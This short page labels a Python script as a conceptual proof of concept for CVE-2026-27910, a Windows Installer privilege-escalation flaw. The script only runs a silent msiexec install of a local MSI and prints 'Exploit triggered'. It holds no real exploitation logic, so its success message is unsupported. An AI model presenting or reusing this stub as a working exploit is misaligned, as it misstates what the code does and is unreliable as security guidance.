CVE-2026-27910 Windows Installer权限提升漏洞

# PoC Concept for CVE-2026-27910 # This is a conceptual demonstration, not a weaponized exploit. import os import subprocess def trigger_vulnerability(): # Describe the target logic print("[*] Checking Windows Installer service status...") # In a real exploit, the attacker would prepare a malicious environment # e.g., creating a directory junction or dropping a malicious file. target_msi = "vulnerable_package.msi" if os.path.exists(target_msi): print(f"[*] Triggering install for {target_msi}") try: # Hypothetical command to trigger the installer with weak permission checks subprocess.run(["msiexec", "/i", target_msi, "/qn"], check=True) print("[+] Exploit triggered. Check privileges.") except Exception as e: print(f"[-] Error: {e}") else: print("[-] Payload not found.") if __name__ == "__main__": trigger_vulnerability()